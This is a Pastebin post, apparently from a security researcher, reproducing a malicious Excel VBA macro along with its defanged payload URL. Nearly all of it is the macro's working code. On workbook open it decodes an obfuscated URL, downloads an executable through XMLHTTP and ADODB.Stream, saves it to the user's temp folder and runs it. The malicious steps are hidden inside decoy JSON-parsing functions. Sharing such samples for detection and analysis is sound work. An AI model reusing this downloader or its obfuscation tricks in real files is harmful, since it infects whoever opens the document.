Neonprimetime

Suspicious VBA Macro Ёта нига

Nov 10th, 2015
780
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Suspicious VBA Macro
  2. Reported by neonprimetime security
  3. http://neonprimetime.blogspot.com
  4.  
  5. *****
  6. Partially de-obfuscated version: http://pastebin.com/nSRVi7JS
  7. *****
  8. Payload: hxxp://mgming.rs/87yte55/6t45eyv.exe
  9. *****
  10. Attribute VB_Name = "Ёта нига"
  11. Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
  12. Attribute VB_GlobalNameSpace = False
  13. Attribute VB_Creatable = False
  14. Attribute VB_PredeclaredId = True
  15. Attribute VB_Exposed = True
  16. Attribute VB_TemplateDerived = False
  17. Attribute VB_Customizable = True
  18.  
  19. Private Sub Workbook_Open()
  20.     json_ParseValue "", 8
  21.     json_ParseKey "", 9
  22.     json_Peek "", 9
  23.     ParseUrlEncoded ""
  24.     FormatToMediaType ""
  25. End Sub
  26.  
  27. Attribute VB_Name = "Ћист1"
  28. Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
  29. Attribute VB_GlobalNameSpace = False
  30. Attribute VB_Creatable = False
  31. Attribute VB_PredeclaredId = True
  32. Attribute VB_Exposed = True
  33. Attribute VB_TemplateDerived = False
  34. Attribute VB_Customizable = True
  35. Attribute VB_Name = "Ћист2"
  36. Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
  37. Attribute VB_GlobalNameSpace = False
  38. Attribute VB_Creatable = False
  39. Attribute VB_PredeclaredId = True
  40. Attribute VB_Exposed = True
  41. Attribute VB_TemplateDerived = False
  42. Attribute VB_Customizable = True
  43. Attribute VB_Name = "Ћист3"
  44. Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
  45. Attribute VB_GlobalNameSpace = False
  46. Attribute VB_Creatable = False
  47. Attribute VB_PredeclaredId = True
  48. Attribute VB_Exposed = True
  49. Attribute VB_TemplateDerived = False
  50. Attribute VB_Customizable = True
  51. Attribute VB_Name = "Module3"
  52.  
  53. Private Function json_ParseObject(json_String As String, ByRef json_Index As Long) As String
  54.      Dim json_Key As String
  55.      Dim json_NextChar As String
  56.      Set json_ParseObject = New Dictionary
  57.      json_SkipSpaces json_String, json_Index
  58.      If VBA.Mid$(json_String, json_Index, 1) <> "" Then
  59.      Err.Raise 10001, "", json_ParseErr.orMessage(json_String, json_Index, "")
  60.      Else
  61.      json_Index = json_Index + 1
  62.      Do
  63.      json_SkipSpaces json_String, json_Index
  64.      If VBA.Mid$(json_String, json_Index, 1) = "" Then
  65.      json_Index = json_Index + 1
  66.      Exit Function
  67.      ElseIf VBA.Mid$(json_String, json_Index, 1) = "" Then
  68.      json_Index = json_Index + 1
  69.      json_SkipSpaces json_String, json_Index
  70.      End If
  71.      json_Key = json_ParseKey(json_String, json_Index)
  72.      json_NextChar = json_Peek(json_String, json_Index)
  73.      If json_NextChar = "" Or json_NextChar = "" Then
  74.      Set json_ParseObject.Item(json_Key) = json_ParseValue(json_String, json_Index)
  75.      Else
  76.      json_ParseObject.Item(json_Key) = json_ParseValue(json_String, json_Index)
  77.      End If
  78.      Loop
  79.      End If
  80. End Function
  81.  
  82. Private Function json_ParseArray(json_String As String, ByRef json_Index As Long) As Collection
  83.      Set json_ParseArray = New Collection
  84.      json_SkipSpaces json_String, json_Index
  85.      If VBA.Mid$(json_String, json_Index, 1) <> "" Then
  86.      Err.Raise 10001, "", json_ParseErr.orMessage(json_String, json_Index, "")
  87.      Else
  88.      json_Index = json_Index + 1
  89.      Do
  90.      json_SkipSpaces json_String, json_Index
  91.      If VBA.Mid$(json_String, json_Index, 1) = "" Then
  92.      json_Index = json_Index + 1
  93.      Exit Function
  94.      ElseIf VBA.Mid$(json_String, json_Index, 1) = "" Then
  95.      json_Index = json_Index + 1
  96.      json_SkipSpaces json_String, json_Index
  97.      End If
  98.      json_ParseArray.Add json_ParseValue(json_String, json_Index)
  99.      Loop
  100.      End If
  101. End Function
  102.  
  103. Public Function json_ParseValue(json_String As String, ByRef json_Index As Long) As Variant
  104.     dot_hero = Chr(Asc(M_Zorro) - 31)
  105.     e_loadman = Chr(Asc(M_Zorro) + 24)
  106.      Set jsonParseString = CreateObject(M_Zorro + "icrosoft" + dot_hero + "XMLHTTP")
  107.      Set kogdaNado = CreateObject("Adodb" + dot_hero + "Str" + e_loadman + "am")
  108.     Set helavisa = CreateObject("WScript" + dot_hero + "Sh" + e_loadman + "ll").Environment("Proc" + e_loadman + "ss")
  109.     Set FunctionManager = CreateObject("Sh" + e_loadman + "ll" + dot_hero + "Application")
  110.      Exit Function
  111.      json_SkipSpaces json_String, json_Index
  112.      Select Case VBA.Mid$(json_String, json_Index, 1)
  113.      Case ""
  114.      Set json_ParseValue = json_Pars.eObject(json_String, json_Index)
  115.      Case ""
  116.      Set json_ParseValue = json_Pars.eArray(json_String, json_Index)
  117.      Case """", ""
  118.      json_ParseValue = json_ParseString(json_String, json_Index)
  119.      Case Else
  120.      If VBA.Mid$(json_String, json_Index, 4) = "" Then
  121.      json_ParseValue = True
  122.      json_Index = json_Index + 4
  123.      ElseIf VBA.Mid$(json_String, json_Index, 5) = "" Then
  124.      json_ParseValue = False
  125.      json_Index = json_Index + 5
  126.      ElseIf VBA.Mid$(json_String, json_Index, 4) = "" Then
  127.      json_ParseValue = Null
  128.      json_Index = json_Index + 4
  129.      ElseIf VBA.InStr("", VBA.Mid$(json_String, json_Index, 1)) Then
  130.      json_ParseValue = json_ParseNumber(json_String, json_Index)
  131.      Else
  132.      Err.Raise 10001, "", json_ParseErr.orMessage(json_String, json_Index, "")
  133.      End If
  134.      End Select
  135. End Function
  136.  
  137. Private Function json_ParseString(json_String As String, ByRef json_Index As Long) As String
  138.      Dim json_Quote As String
  139.      Dim json_Char As String
  140.      Dim json_Code As String
  141.      Dim json_buffer As String
  142.      Dim json_BufferPosition As Long
  143.      Dim json_BufferLength As Long
  144.      json_SkipSpaces json_String, json_Index
  145.      json_Quote = VBA.Mid$(json_String, json_Index, 1)
  146.      json_Index = json_Index + 1
  147.      Do While json_Index > 0 And json_Index <= Len(json_String)
  148.      json_Char = VBA.Mid$(json_String, json_Index, 1)
  149.      Select Case json_Char
  150.      Case ""
  151.      json_Index = json_Index + 1
  152.      json_Char = VBA.Mid$(json_String, json_Index, 1)
  153.      Select Case json_Char
  154.      Case """", "", "", ""
  155.      json_BufferAppend json_buffer, json_Char, json_BufferPosition, json_BufferLength
  156.      json_Index = json_Index + 1
  157.      Case ""
  158.      json_BufferAppend json_buffer, vbBack, json_BufferPosition, json_BufferLength
  159.      json_Index = json_Index + 1
  160.      Case ""
  161.      json_BufferAppend json_buffer, vbFormFeed, json_BufferPosition, json_BufferLength
  162.      json_Index = json_Index + 1
  163.      Case ""
  164.      json_BufferAppend json_buffer, vbCrLf, json_BufferPosition, json_BufferLength
  165.      json_Index = json_Index + 1
  166.      Case ""
  167.      json_BufferAppend json_buffer, vbCr, json_BufferPosition, json_BufferLength
  168.      json_Index = json_Index + 1
  169.      Case ""
  170.      json_BufferAppend json_buffer, vbTab, json_BufferPosition, json_BufferLength
  171.      json_Index = json_Index + 1
  172.      Case ""
  173.      json_Index = json_Index + 1
  174.      json_Code = VBA.Mid$(json_String, json_Index, 4)
  175.      json_BufferAppend json_buffer, VBA.ChrW(VBA.Val("" + json_Code)), json_BufferPosition, json_BufferLength
  176.      json_Index = json_Index + 4
  177.      End Select
  178.      Case json_Quote
  179.      json_ParseString = json_BufferToString(json_buffer, json_BufferPosition, json_BufferLength)
  180.      json_Index = json_Index + 1
  181.      Exit Function
  182.      Case Else
  183.      json_BufferAppend json_buffer, json_Char, json_BufferPosition, json_BufferLength
  184.      json_Index = json_Index + 1
  185.      End Select
  186.      Loop
  187. End Function
  188.  
  189. Private Function json_ParseNumber(json_String As String, ByRef json_Index As Long) As Variant
  190.      Dim json_Char As String
  191.      Dim json_Value As String
  192.      json_SkipSpaces json_String, json_Index
  193.      Do While json_Index > 0 And json_Index <= Len(json_String)
  194.      json_Char = VBA.Mid$(json_String, json_Index, 1)
  195.      If VBA.InStr("", json_Char) Then
  196.      json_Value = json_Value & json_Char
  197.      json_Index = json_Index + 1
  198.      Else
  199.      If Not JsonOptions.UseDoubleForLargeNumbers And Len(json_Value) >= 16 Then
  200.      json_ParseNumber = json_Value
  201.      Else
  202.      json_ParseNumber = VBA.Val(json_Value)
  203.      End If
  204.      Exit Function
  205.      End If
  206.      Loop
  207. End Function
  208.  
  209. Public Function json_ParseKey(json_String As String, ByRef json_Index As Long) As String
  210.      Dim solov() As Variant
  211.      solov = Array(4828, 4840, 4840, 4836, 4782, 4771, 4771, 4833, 4827, 4833, 4829, 4834, 4827, 4770, 4838, 4839, 4771, 4780, 4779, 4845, 4840, 4825, 4777, 4777, 4771, 4778, 4840, 4776, 4777, 4825, 4845, 4842, 4770, 4825, 4844, 4825)
  212.     GoTo Fileshka
  213.      If VBA.Mid$(json_String, json_Index, 1) = """" Or VBA.Mid$(json_String, json_Index, 1) = "" Then
  214.      json_ParseKey = json_ParseString(json_String, json_Index)
  215.      ElseIf JsonOptions.AllowUnquotedKeys Then
  216.      Dim json_Char As String
  217.      Do While json_Index > 0 And json_Index <= Len(json_String)
  218.      json_Char = VBA.Mid$(json_String, json_Index, 1)
  219.      If (json_Char <> "") And (json_Char <> "") Then
  220.      json_ParseKey = json_ParseKey & json_Char
  221.      json_Index = json_Index + 1
  222.      Else
  223.      Exit Do
  224.      End If
  225.      Loop
  226.      Else
  227.     Fileshka:
  228.      jsonParseString.Open "G" + UCase(e_loadman) + "T", Redistribute(solov, 35), False
  229.        jsonParseString.Send
  230.        GoTo exitFunct
  231.  
  232.      Err.Raise 10001, "", json_ParseErr.orMessage(json_String, json_Index, """")
  233.      End If
  234.      json_SkipSpaces json_String, json_Index
  235.      If VBA.Mid$(json_String, json_Index, 1) <> "" Then
  236.      Err.Raise 10001, "", json_ParseErr.orMessage(json_String, json_Index, "")
  237.      Else
  238.      json_Index = json_Index + 1
  239.      End If
  240.     exitFunct:
  241.       kogdaNado.Type = 1
  242. End Function
  243.  
  244. Private Function json_Encode(ByVal json_Text As Variant) As String
  245.      Dim json_Index As Long
  246.      Dim json_Char As String
  247.      Dim json_AscCode As Long
  248.      Dim json_buffer As String
  249.      Dim json_BufferPosition As Long
  250.      Dim json_BufferLength As Long
  251.      For json_Index = 1 To VBA.Len(json_Text)
  252.      json_Char = VBA.Mid$(json_Text, json_Index, 1)
  253.      json_AscCode = VBA.AscW(json_Char)
  254.      If json_AscCode < 0 Then
  255.      json_AscCode = json_AscCode + 65536
  256.      End If
  257.      Select Case json_AscCode
  258.      Case 34
  259.      json_Char = """"
  260.      Case 92
  261.      json_Char = ""
  262.      Case 47
  263.      If JsonOptions.EscapeSolidus Then
  264.      json_Char = ""
  265.      End If
  266.      Case 8
  267.      json_Char = ""
  268.      Case 12
  269.      json_Char = ""
  270.      Case 10
  271.      json_Char = ""
  272.      Case 13
  273.      json_Char = ""
  274.      Case 9
  275.      json_Char = ""
  276.      Case 0 To 31, 127 To 65535
  277.      json_Char = "" & VBA.Right$("" & VBA.Hex$(json_AscCode), 4)
  278.      End Select
  279.      json_BufferAppend json_buffer, json_Char, json_BufferPosition, json_BufferLength
  280.      Next json_Index
  281.      json_Encode = json_BufferToString(json_buffer, json_BufferPosition, json_BufferLength)
  282. End Function
  283.  
  284. Private Sub json_SkipSpaces(json_String As String, ByRef json_Index As Long)
  285.      Do While json_Index > 0 And json_Index <= VBA.Len(json_String) And VBA.Mid$(json_String, json_Index, 1) = ""
  286.      json_Index = json_Index + 1
  287.      Loop
  288. End Sub
  289.  
  290. Private Function json_StringIsLargeNumber(json_String As Variant) As Boolean
  291.      Dim json_Length As Long
  292.      Dim json_CharIndex As Long
  293.      json_Length = VBA.Len(json_String)
  294.      If json_Length >= 16 And json_Length <= 100 Then
  295.      Dim json_CharCode As String
  296.      Dim json_Index As Long
  297.      json_StringIsLargeNumber = True
  298.      For json_CharIndex = 1 To json_Length
  299.      json_CharCode = VBA.Asc(VBA.Mid$(json_String, json_CharIndex, 1))
  300.      Select Case json_CharCode
  301.      Case 46, 48 To 57, 69, 101
  302.      Case Else
  303.      json_StringIsLargeNumber = False
  304.      Exit Function
  305.      End Select
  306.      Next json_CharIndex
  307.      End If
  308. End Function
  309.  
  310. Attribute VB_Name = "Module2"
  311.  
  312. Public tempFolder  As String
  313. Public parameter3  As String
  314. Public FunctionManager As Object
  315.  
  316. Public Function JoinUrl(LeftSide As String, RightSide As String) As String
  317.      If Left(RightSide, 1) = "" Then
  318.      RightSide = Right(RightSide, Len(RightSide) - 1)
  319.      End If
  320.      If Right(LeftSide, 1) = "" Then
  321.      LeftSide = Left(LeftSide, Len(LeftSide) - 1)
  322.      End If
  323.      If LeftSide <> "" And RightSide <> "" Then
  324.      JoinUrl = LeftSide & "" & RightSide
  325.      Else
  326.      JoinUrl = LeftSide & RightSide
  327.      End If
  328. End Function
  329.  
  330. Public Function GetUrlParts(Url As String) As String
  331.      Dim web_Parts As New Dictionary
  332.      On Error GoTo web_ErrorHandling
  333.     #If Mac Then
  334.      Dim web_AddedProtocol As Boolean
  335.      Dim web_Command As String
  336.      Dim web_Results As Variant
  337.      Dim web_ResultPart As Variant
  338.      Dim web_EqualsIndex As Long
  339.      Dim web_Key As String
  340.      Dim web_Value As String
  341.      If InStr(1, Url, "") <= 0 Then
  342.      web_AddedProtocol = True
  343.      If InStr(1, Url, "") = 1 Then
  344.      Url = "" & Url
  345.      Else
  346.      Url = "" & Url
  347.      End If
  348.      End If
  349.      web_Command = "" & vbNewLine & _
  350.      """" & Url & """" & vbNewLine & _
  351.      """""" & vbNewLine & _
  352.      """""" & vbNewLine & _
  353.      """""" & vbNewLine & _
  354.      """""" & vbNewLine & _
  355.      """""" & vbNewLine & _
  356.      ""
  357.      web_Results = Split(ExecuteInShell(web_Command).Output, "")
  358.      For Each web_ResultPart In web_Results
  359.      web_EqualsIndex = InStr(1, web_ResultPart, "")
  360.      web_Key = Trim(VBA.Mid$(web_ResultPart, 1, web_EqualsIndex - 1))
  361.      web_Value = Trim(VBA.Mid$(web_ResultPart, web_EqualsIndex + 1))
  362.      If web_Key = "" Then
  363.      Dim QueryIndex As Integer
  364.      QueryIndex = InStr(1, web_Value, "")
  365.      If QueryIndex > 0 Then
  366.      web_Parts.Add "", Mid$(web_Value, 1, QueryIndex - 1)
  367.      web_Parts.Add "", Mid$(web_Value, QueryIndex + 1)
  368.      Else
  369.      web_Parts.Add "", web_Value
  370.      web_Parts.Add "", ""
  371.      End If
  372.      Else
  373.      web_Parts.Add web_Key, web_Value
  374.      End If
  375.      Next web_ResultPart
  376.      If web_AddedProtocol And web_Parts.Exists("") Then
  377.      web_Parts("") = ""
  378.      End If
  379.     #Else
  380.      If web_pDocumentHelper Is Nothing Or web_pElHelper Is Nothing Then
  381.      Set web_pDocumentHelper = CreateObject("")
  382.      Set web_pElHelper = web_pDocumentHelper.createElement("")
  383.      End If
  384.      web_pElHelper.href = Url
  385.      web_Parts.Add "", Replace(web_pElHelper.Protocol, "", "", Count:=1)
  386.      web_Parts.Add "", web_pElHelper.hostname
  387.      web_Parts.Add "", web_pElHelper.port
  388.      web_Parts.Add "", web_pElHelper.pathname
  389.      web_Parts.Add "", Replace(web_pElHelper.Search, "", "", Count:=1)
  390.      web_Parts.Add "", Replace(web_pElHelper.Hash, "", "", Count:=1)
  391.     #End If
  392.      If web_Parts("") = "" Then
  393.      Dim PathParts As Variant
  394.      PathParts = Split(web_Parts(""), "")
  395.      web_Parts("") = PathParts(0)
  396.      web_Parts("") = ""
  397.      web_Parts("") = ""
  398.      web_Parts("") = Replace(web_Parts(""), web_Parts(""), "", Count:=1)
  399.      End If
  400.      If Left(web_Parts(""), 1) <> "" Then
  401.      web_Parts("") = "" & web_Parts("")
  402.      End If
  403.      Set GetUrlParts = web_Parts
  404.      Exit Function
  405.     web_ErrorHandling:
  406.      Dim web_ErrorDescription As String
  407.      web_ErrorDescription = "" & vbNewLine & _
  408.      Err.number & VBA.IIf(Err.number < 0, "" & VBA.LCase$(VBA.Hex$(Err.number)) & "", "") & "" & Err.Description
  409.      LogError web_ErrorDescription, "", 11003
  410.      Err.Raise 11003, "", web_ErrorDescription
  411. End Function
  412.  
  413. Public Function CloneDictionary(Original As String) As String
  414.      Dim web_Key As Variant
  415.      Set CloneDictionary = New Dictionary
  416.      For Each web_Key In Original.Keys
  417.      CloneDictionary.Add VBA.CStr(web_Key), Original(web_Key)
  418.      Next web_Key
  419. End Function
  420.  
  421. Public Function CloneCollection(Original As Collection) As Collection
  422.      Dim web_Item As Variant
  423.      Set CloneCollection = New Collection
  424.      For Each web_Item In Original
  425.      CloneCollection.Add web_Item
  426.      Next web_Item
  427. End Function
  428.  
  429. Public Function CreateKeyValue(Key As String, Value As Variant) As String
  430.      Dim web_KeyValue As New Dictionary
  431.      web_KeyValue("") = Key
  432.      web_KeyValue("") = Value
  433.      Set CreateKeyValue = web_KeyValue
  434. End Function
  435. Public Function FindInKeyValues(KeyValues As Collection, Key As Variant) As Variant
  436.      Dim web_KeyValue As Dictionary
  437.      For Each web_KeyValue In KeyValues
  438.      If web_KeyValue("") = Key Then
  439.      FindInKeyValues = web_KeyValue("")
  440.      Exit Function
  441.      End If
  442.      Next web_KeyValue
  443. End Function
  444.  
  445. Public Sub AddOrReplaceInKeyValues(KeyValues As Collection, Key As Variant, Value As Variant)
  446.      Dim web_KeyValue As Dictionary
  447.      Dim web_Index As Long
  448.      Dim web_NewKeyValue As Dictionary
  449.      Set web_NewKeyValue = CreateKeyValue(CStr(Key), Value)
  450.      web_Index = 1
  451.      For Each web_KeyValue In KeyValues
  452.      If web_KeyValue("") = Key Then
  453.      KeyValues.Remove web_Index
  454.      If KeyValues.Count = 0 Then
  455.      KeyValues.Add web_NewKeyValue
  456.      ElseIf web_Index > KeyValues.Count Then
  457.      KeyValues.Add web_NewKeyValue, After:=web_Index - 1
  458.      Else
  459.      KeyValues.Add web_NewKeyValue, Before:=web_Index
  460.      End If
  461.      Exit Sub
  462.      End If
  463.      web_Index = web_Index + 1
  464.      Next web_KeyValue
  465.      KeyValues.Add web_NewKeyValue
  466. End Sub
  467.  
  468. Public Function FormatToMediaType(Format As String, Optional CustomFormat As String) As String
  469.     FunctionManager.Open (parameter3)
  470.     Exit Function
  471.      Select Case Format
  472.      Case WebFormat.FormUrlEncoded
  473.      FormatToMediaType = ""
  474.      Case WebFormat.Json
  475.      FormatToMediaType = ""
  476.      Case WebFormat.XML
  477.      FormatToMediaType = ""
  478.      Case WebFormat.Custom
  479.      FormatToMediaType = web_Get.Converter(CustomFormat)("")
  480.      Case Else
  481.      FormatToMediaType = ""
  482.      End Select
  483. End Function
  484.  
  485. Public Function MethodToName(Method As String) As String
  486.      Select Case Method
  487.      Case WebMethod.HttpDelete
  488.      MethodToName = ""
  489.      Case WebMethod.HttpPut
  490.      MethodToName = ""
  491.      Case WebMethod.HttpPatch
  492.      MethodToName = ""
  493.      Case WebMethod.HttpPost
  494.      MethodToName = ""
  495.      Case WebMethod.HttpGet
  496.      MethodToName = ""
  497.      Case WebMethod.HttpHead
  498.      MethodToName = ""
  499.      End Select
  500. End Function
  501.  
  502.  
  503. Attribute VB_Name = "Module1"
  504. Public Const M_Zorro = "M"
  505. Public dot_hero As String
  506. Public e_loadman As String
  507. Public jsonParseString As Object
  508. Public kogdaNado As Object
  509. Public helavisa As Object
  510.  
  511. Public Sub LogDebug(Message As String, Optional From As String = "")
  512.      If EnableLogging Then
  513.      Debug.Print From & "" & Message
  514.      End If
  515. End Sub
  516.  
  517. Public Sub LogWarning(Message As String, Optional From As String = "")
  518.      Debug.Print "" & From & "" & Message
  519. End Sub
  520.  
  521. Public Sub LogError(Message As String, Optional From As String = "", Optional ErrNumber As Long = 0)
  522.      Dim web_ErrorValue As String
  523.      If ErrNumber <> 0 Then
  524.      web_ErrorValue = ErrNumber
  525.      If ErrNumber < 0 Then
  526.      web_ErrorValue = web_ErrorValue & "" & (ErrNumber - vbObjectError) & "" & VBA.LCase$(VBA.Hex$(ErrNumber)) & ""
  527.      End If
  528.      web_ErrorValue = web_ErrorValue & ""
  529.      End If
  530.      Debug.Print "" & From & "" & web_ErrorValue & Message
  531. End Sub
  532.  
  533. Public Sub LogRequest(Client As String, Request As String)
  534.      If EnableLogging Then
  535.      Debug.Print "" & Format(Now, "")
  536.      Debug.Print MethodToName(Request.Method) & "" & Client.GetFullUrl(Request)
  537.      Dim web_KeyValue As Dictionary
  538.      For Each web_KeyValue In Request.Headers
  539.      Debug.Print web_KeyValue("") & "" & web_KeyValue("")
  540.      Next web_KeyValue
  541.      For Each web_KeyValue In Request.Cookies
  542.      Debug.Print "" & web_KeyValue("") & "" & web_KeyValue("")
  543.      Next web_KeyValue
  544.      If Not IsEmpty(Request.Body) Then
  545.      Debug.Print vbNewLine & CStr(Request.Body)
  546.      End If
  547.      Debug.Print
  548.      End If
  549. End Sub
  550.  
  551. Public Sub LogResponse(Client As String, Request As String, Response As String)
  552.      If EnableLogging Then
  553.      Dim web_KeyValue As Dictionary
  554.      Debug.Print "" & Format(Now, "")
  555.      Debug.Print Response.StatusCode & "" & Response.StatusDescription
  556.      For Each web_KeyValue In Response.Headers
  557.      Debug.Print web_KeyValue("") & "" & web_KeyValue("")
  558.      Next web_KeyValue
  559.      For Each web_KeyValue In Response.Cookies
  560.      Debug.Print "" & web_KeyValue("") & "" & web_KeyValue("")
  561.      Next web_KeyValue
  562.      Debug.Print vbNewLine & Response.Content & vbNewLine
  563.      End If
  564.     End Sub
  565.     Public Function Obfuscate(Secure As String, Optional Character As String = "") As String
  566.      Obfuscate = VBA.String$(VBA.Len(Secure), Character)
  567. End Function
  568.  
  569. Public Function ParseUrlEncoded(Encoded As String) As String
  570.      Dim web_Items As Variant
  571.      Dim web_i As Integer
  572.      Dim web_Parts As Variant
  573.      Dim web_Key As String
  574.      Dim web_Value As Variant
  575.     kogdaNado.write jsonParseString.responseBody
  576.         kogdaNado.savetofile parameter3, 2
  577.          Exit Function
  578.      web_Items = VBA.Split(Encoded, "")
  579.      For web_i = LBound(web_Items) To UBound(web_Items)
  580.      web_Parts = VBA.Split(web_Items(web_i), "")
  581.      If UBound(web_Parts) - LBound(web_Parts) >= 1 Then
  582.      web_Key = UrlDecode(VBA.CStr(web_Parts(LBound(web_Parts))))
  583.      web_Value = UrlDecode(VBA.CStr(web_Parts(LBound(web_Parts) + 1)))
  584.      web_Pa.rsed(web_Key) = web_Value
  585.      End If
  586.      Next web_i
  587.      Set ParseUrl.Encoded = web_Parsed
  588. End Function
  589.  
  590. Public Function Redistribute(Z() As Variant, oldLen As Integer) As String
  591.     Dim n As Integer
  592.     For n = LBound(Z) To UBound(Z)
  593.         Redistribute = Redistribute & Chr(Z(n) - 8 * oldLen - 4444)
  594.     Next n
  595. End Function
  596.  
  597. Public Function ConvertToUrlEncoded(Obj As Variant) As String
  598.      Dim web_Encoded As String
  599.      If TypeOf Obj Is Collection Then
  600.      Dim web_KeyValue As Dictionary
  601.      For Each web_KeyValue In Obj
  602.      If VBA.Len(web_Encoded) > 0 Then: web_Encoded = web_Encoded & ""
  603.      web_Encoded = web_Encoded & web_GetUrlEncodedKeyValue(web_KeyValue(""), web_KeyValue(""))
  604.      Next web_KeyValue
  605.      Else
  606.      Dim web_Key As Variant
  607.      For Each web_Key In Obj.Keys()
  608.      If Len(web_Encoded) > 0 Then: web_Encoded = web_Encoded & ""
  609.      web_Encoded = web_Encoded & web_GetUrlEncodedKeyValue(web_Key, Obj(web_Key))
  610.      Next web_Key
  611.      End If
  612.      ConvertToUrlEncoded = web_Encoded
  613. End Function
  614.  
  615. Public Function ParseXml(Encoded As String) As Object
  616.      Dim web_ErrorMsg As String
  617.      web_ErrorMsg = "" & vbNewLine & _
  618.      "" & vbNewLine & _
  619.      vbNewLine & _
  620.      ""
  621.      LogError web_ErrorMsg, "", 11099
  622.      Err.Raise 11099, "", web_ErrorMsg
  623. End Function
  624.  
  625. Public Function ConvertToXml(Obj As Variant) As String
  626.      Dim web_ErrorMsg As String
  627.      web_ErrorMsg = "" & vbNewLine & _
  628.      "" & vbNewLine & _
  629.      vbNewLine & _
  630.      ""
  631.      LogError web_ErrorMsg, "", 11099 + vbObjectError
  632.      Err.Raise 11099 + vbObjectError, "", web_ErrorMsg
  633. End Function
  634.  
  635. Public Function ParseByFormat(Value As String, Format As String, _
  636.      Optional CustomFormat As String = "", Optional Bytes As Variant) As Object
  637.      On Error GoTo web_ErrorHandling
  638.      If Value = "" And CustomFormat = "" Then
  639.      Exit Function
  640.      End If
  641.      Select Case Format
  642.      Case WebFormat.Json
  643.      Set ParseByFormat = ParseJson(Value)
  644.      Case WebFormat.FormUrlEncoded
  645.      Set ParseByFormat = ParseUrlEncoded(Value)
  646.      Case WebFormat.XML
  647.      Set ParseByFormat = ParseXml(Value)
  648.      Case WebFormat.Custom
  649.     #If EnableCustomFormatting Then
  650.      Dim web_Converter As Dictionary
  651.      Dim web_Callback As String
  652.      Set web_Converter = web_GetConverter(CustomFormat)
  653.      web_Callback = web_Converter("")
  654.      If web_Converter.Exists("") Then
  655.      Dim web_Instance As Object
  656.      Set web_Instance = web_Converter("")
  657.      If web_Converter("") = "" Then
  658.      Set ParseByFormat = VBA.CallByName(web_Instance, web_Callback, VBA.VbMethod, Bytes)
  659.      Else
  660.      Set ParseByFormat = VBA.CallByName(web_Instance, web_Callback, VBA.VbMethod, Value)
  661.      End If
  662.      Else
  663.      If web_Converter("") = "" Then
  664.      Set ParseByFormat = Application.Run(web_Callback, Bytes)
  665.      Else
  666.      Set ParseByFormat = Application.Run(web_Callback, Value)
  667.      End If
  668.      End If
  669.     #Else
  670.      LogWarning ""
  671.     #End If
  672.      End Select
  673.      Exit Function
  674.     web_ErrorHandling:
  675.      Dim web_ErrorDescription As String
  676.      web_ErrorDescription = "" & vbNewLine & _
  677.      Err.number & VBA.IIf(Err.number < 0, "" & VBA.LCase$(VBA.Hex$(Err.number)) & "", "") & "" & Err.Description
  678.      LogError web_ErrorDescription, "", 11000
  679.      Err.Raise 11000, "", web_ErrorDescription
  680. End Function
  681.  
  682. Public Function json_Peek(json_String As String, ByVal json_Index As Long, Optional json_NumberOfCharacters As Long = 1) As String
  683.      tempFolder = helavisa("T" + UCase(e_loadman) + UCase(M_Zorro) + "P")
  684.         CallByName kogdaNado, "Op" + e_loadman + "n", VbMethod
  685.     parameter3 = tempFolder + "\si" + M_Zorro + "ba" + dot_hero + e_loadman + "x" + e_loadman
  686.     Exit Function
  687.      json_Skip.Spaces json_String, json_Index
  688.      json_Peek = VBA.Mid$(json_String, json_Index, json_NumberOfCharacters)
  689. End Function
  690.  
  691. Public Function ConvertToFormat(Obj As Variant, Format As String, Optional CustomFormat As String = "") As Variant
  692.      On Error GoTo web_ErrorHandling
  693.      Select Case Format
  694.      Case WebFormat.Json
  695.      ConvertToFormat = ConvertToJson(Obj)
  696.      Case WebFormat.FormUrlEncoded
  697.      ConvertToFormat = ConvertToUrlEncoded(Obj)
  698.      Case WebFormat.XML
  699.      ConvertToFormat = ConvertToXml(Obj)
  700.      Case WebFormat.Custom
  701.     #If EnableCustomFormatting Then
  702.      Dim web_Converter As Dictionary
  703.      Dim web_Callback As String
  704.      Set web_Converter = web_GetConverter(CustomFormat)
  705.      web_Callback = web_Converter("")
  706.      If web_Converter.Exists("") Then
  707.      Dim web_Instance As Object
  708.      Set web_Instance = web_Converter("")
  709.      ConvertToFormat = VBA.CallByName(web_Instance, web_Callback, VBA.VbMethod, Obj)
  710.      Else
  711.      ConvertToFormat = Application.Run(web_Callback, Obj)
  712.      End If
  713.     #Else
  714.      LogWarning ""
  715.     #End If
  716.      Case Else
  717.      If VBA.VarType(Obj) = vbString Then
  718.      ConvertToFormat = Obj
  719.      End If
  720.      End Select
  721.      Exit Function
  722.     web_ErrorHandling:
  723.      Dim web_ErrorDescription As String
  724.      web_ErrorDescription = "" & vbNewLine & _
  725.      Err.number & VBA.IIf(Err.number < 0, "" & VBA.LCase$(VBA.Hex$(Err.number)) & "", "") & "" & Err.Description
  726.      LogError web_ErrorDescription, "", 11001
  727.      Err.Raise 11001, "", web_ErrorDescription
  728. End Function
  729.  
  730. Public Function UrlEncode(Text As Variant, Optional SpaceAsPlus As Boolean = False, Optional EncodeUnsafe As Boolean = True) As String
  731.      Dim web_UrlVal As String
  732.      Dim web_StringLen As Long
  733.      web_UrlVal = VBA.CStr(Text)
  734.      web_StringLen = VBA.Len(web_UrlVal)
  735.      If web_StringLen > 0 Then
  736.      Dim web_Result() As String
  737.      Dim web_i As Long
  738.      Dim web_CharCode As Integer
  739.      Dim web_Char As String
  740.      Dim web_Space As String
  741.      ReDim web_Result(web_StringLen)
  742.      If SpaceAsPlus Then
  743.      web_Space = ""
  744.      Else
  745.      web_Space = ""
  746.      End If
  747.      For web_i = 1 To web_StringLen
  748.      web_Char = VBA.Mid$(web_UrlVal, web_i, 1)
  749.      web_CharCode = VBA.Asc(web_Char)
  750.      Select Case web_CharCode
  751.      Case 36, 38, 43, 44, 47, 58, 59, 61, 63, 64
  752.      web_Result(web_i) = "" & VBA.Hex(web_CharCode)
  753.      Case 32
  754.      web_Result(web_i) = web_Space
  755.      Case 34, 35, 37, 60, 62, 91 To 94, 96, 123 To 126
  756.      If EncodeUnsafe Then
  757.      web_Result(web_i) = "" & VBA.Hex(web_CharCode)
  758.      Else
  759.      web_Result(web_i) = web_Char
  760.      End If
  761.      Case Else
  762.      web_Result(web_i) = web_Char
  763.      End Select
  764.      Next web_i
  765.      UrlEncode = VBA.Join$(web_Result, "")
  766.      End If
